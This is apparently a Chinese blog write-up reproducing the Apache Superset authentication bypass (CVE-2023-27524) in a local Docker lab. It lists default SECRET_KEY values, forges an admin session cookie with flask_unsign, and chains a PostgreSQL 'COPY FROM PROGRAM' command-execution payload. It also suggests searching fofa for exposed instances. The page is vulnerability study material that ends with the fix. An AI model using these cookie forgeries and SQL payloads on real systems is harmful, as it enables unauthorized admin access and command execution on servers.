Apache Superset 身份认证绕过漏洞(CVE-2023-27524)

news/2024/12/12 5:48:39/

漏洞简介

imageApache Superset是一个开源的数据可视化和数据探测平台,它基于Python构建,使用了一些类似于Django和Flask的Python web框架。提供了一个用户友好的界面,可以轻松地创建和共享仪表板、查询和可视化数据,也可以集成到其他应用程序中。由于用户在默认安装过程中,未对SECRET_KEY的默认值进行更改,未经身份验证的攻击者通过伪造管理员身份进行访问后台,并通过后台原本数据库执行功能实现命令执行操作。

环境搭建

可以通过 fofa 来搜索相关网站

“Apache Superset”

image​这里我们通过 docker 来在本地搭建环境

image

git clone https://github.com/apache/superset.git
cd superset
git checkout 2.0.0
TAG=2.0.0 docker-compose -f docker-compose-non-dev.yml pull
TAG=2.0.0 docker-compose -f docker-compose-non-dev.yml up

官网提供的方法 并没有搭建成功,还是直接在docker 仓库中查找

https://hub.docker.com/r/apache/superset/tags?page=1&ordering=last_updated&name=2.0.0

image

docker pull apache/superset:2.0.0
docker exec -it superset superset fab create-admin --username admin --firstname Superset  --lastname Admin --email admin@superset.com --password admin
docker exec -it superset superset db upgrade
docker exec -it superset superset load_examples
docker exec -it superset superset init

漏洞复现

利用脚本检测是否存在漏洞并生成相对应的 cookie

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

image访问主页抓取数据包

image将生成的 session 替换原本的 session

image

成功登录

image接下来就是想办法 getshell 网络上的文章上是通过后台数据库执行语句来获取权限。

经过复现分析,发现存在的问题还比较多,首先是默认情况下执行语句仅仅支持 SELECT ,需要修改数据库的权限允许其他的一些语句(but 一些版本上是没有对数据库的操作权限的),然后就是获取的权限,本质上也只是获取了数据库的执行权限,数据库有可能并不与 superset 在同一服务器上,再有就是需要数据库本身也需要存在漏洞才可以,我这里选取了 (CVE-2019-9193)PostgreSQL 高权限命令执行漏洞来复现漏洞。

image

image

image

DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;

image

漏洞分析

感觉这个漏洞有点像前段时间爆出来的 nacos 身份认证绕过漏洞 存在默认的密钥

SECRET_KEYS = [b'\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h',  # version < 1.4.1b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET',          # version >= 1.4.1b'thisISaSECRET_1234',                            # deployment templateb'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY',          # documentationb'TEST_NON_DEV_SECRET'                            # docker compose
]

Superset 是用 Python 编写的,基于 Flask Web 框架。基于 Flask 的应用程序的常见做法是使用加密签名的会话 cookie 进行用户状态管理。当用户登录时,Web 应用程序将包含用户标识符的会话 cookie 发送回最终用户的浏览器。Web 应用程序使用 SECERT_KEY 对 cookie 进行签名,该值应该时随机生成的,通常存储在本地配置文件中,对于每个 Web 请求,浏览器都会将已签名的会话 cookie 发送回应用程序,然后应用程序验证 cookie 上的签名以处理请求之前重新验证用户。

整段描述下面我感觉跟 JWT 的相关验证方式差不太多,我们具体来操作看看。

image首先就是请求的时候我们可以看到 cookie 值 可以解码成功,通过爆破(当然我们这里是已经已知这个 key 值),伪造生成用户的 cookie,替换数据包中的cookie 值,就成功登录成功,之后再次请求的时候,发现我们添加的字段已经被保存在 session 值中

>>> from flask_unsign import session
>>> session.decode("eyJfZnJlc2giOmZhbHNlLCJjc3JmX3Rva2VuIjoiOGUzOTdiZTQ2ZjVlZjJiYTc1NjI4MWQxODE2NTAyMWEzMzcxYjI3OCIsImxvY2FsZSI6ImVuIn0.ZJAEeQ.wVfrGzupbWdw4R1OlzUwUqhGMMY")
{'_fresh': False, 'csrf_token': '8e397be46f5ef2ba756281d18165021a3371b278', 'locale': 'en'}
>>> session.sign({'_user_id': 1, 'user_id': 1},'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET')
'eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZJAFNg.oWyP7v-1l0qOHFOMjSd-cFiVQLY'
>>> session.decode(".eJxFzEEOhCAQBMC_9JmDwMZBPkOUaaKRaALuabN_15sPqPohlca-Ipa5dhqkb2dLmyJag9xbSde580CEjoHiQlYOlt4VDVMe3CjTRxYv3i_qGEQsDOqZ58rHPNDgHf83roYh1w.ZJAFVw.IwmWyTU1bvoY2nhlFYdmwXNNtTM")
{'_fresh': False, '_user_id': 1, 'csrf_token': 'd68e728cde01e32fd89c0267947b3733bd2e8771', 'locale': 'en', 'user_id': 1}

image

漏洞修复

拒绝在非调试环境中使用默认密码启动

image

image


http://www.ppmy.cn/news/481589.html

相关文章

工厂方法模式-简单介绍01

工厂方法模式是一种创建型设计模式&#xff0c;它定义了一个接口&#xff0c;用于创建对象&#xff0c;但是由子类来决定该创建哪个类的实例。这个模式让一个类的实例化延迟到其子类。 在工厂方法模式中&#xff0c;创建对象的代码由一个称为“工厂”的对象负责&#xff0c;而…

球王梅西的力量

这次阿根廷来中国参加友谊赛&#xff0c;场内场外都有很多值得大众思考的&#xff0c;无论是对主办方的各种吐槽&#xff0c;还是对球迷近乎疯狂的追星行为&#xff0c;又或者是疫情放开后&#xff0c;大众积压已久的情绪&#xff0c;好象以往国外球队来&#xff0c;无论是顶级…

dellr710服务器添加硬盘步骤,DELL R710服务器在线扩硬盘

现有一台DELL R710服务器&#xff0c;出厂时配有三块300G SAS 15K 3.5寸硬盘且做了raid5&#xff0c;操作系统为windows 2003&#xff0c;raid卡型号为DELL PERC6/I。 现在需要将剩下的三个硬盘槽位全部扩满&#xff0c;将三块规格相同的新硬盘在线插入硬盘槽中&#xff0c;绿灯…

服务器 linux raid驱动,Dell PowerEdge R710服务器安装CentOS 5.5加载Raid卡驱动 | 系统运维...

问题:Dell R710服务器用3块硬盘做成的Raid5,在安装CentOS 5.5 64位系统时,提示找不到硬盘,系统安装不上 原因:CentOS 5.5 64位系统默认情况下没有Raid卡驱动 解决办法:在系统安装之前手动加载Raid卡驱动,然后再安装系统 具体操作: 一、查询服务器Raid卡对应的OEM芯片 D…

dell网卡linux驱动,DELL R710 服务器 Linux 系统网卡驱动安装

DELL R710在装完AS4U7版本的Linux后发现&#xff0c;网卡没有识别出来。怀疑是网卡驱动没有装上&#xff0c;打电话给DELL的工程师&#xff0c;得到的答复是装系统前必须用随机带的引导盘来安装才能将网卡驱动装上。现在系统已经装完了&#xff0c;总不能重装一遍吧&#xff0c…

Dell R710 iDRAC6 远程控制卡设置

IPMI设置 设置服务器主板BIOS 以启用 iDRAC6 控制卡 启用iDRAC6 控制卡&#xff0c;配置 IP, 用户名 / 密码 默认情况下&#xff0c;启用的 iDRAC6 网络界面使用静态 IP 地址 192.168.0.120 。必须对其进行配置&#xff0c;才能访问iDRAC6。打开服务器电源&#xff0c;当出现…

dell服务器运维,【产品鉴赏】戴尔DELL R710服务器

戴尔(DELL)R710基本配置 服务器类型 2U机架式 处理器/CPU 2颗Intel(R)四核E5620 Xeon(R) CPU,2.4GHz,12M高速缓存,QPI达4.86 GT/秒 内存 8GB (2x4GB) ,1333 MHz单列RDIMM内存,用于1处理器配置 硬盘 300G SAS 15K *3块 光驱 DVD ROM 网卡 集成双千兆以太网接口 磁盘阵列 RA…

DELL R710做raid5图解

前言 前几天&#xff0c;采购回来了一批硬盘。为了保证这些硬盘的可用性&#xff0c;我们使用了一台R710的老服务器&#xff0c;安装了megacli、srvadmin工具&#xff0c;看看这些硬盘在服务器上的情况。由于服务器的问题&#xff0c;需要做了raid后&#xff0c;才能看到新增的…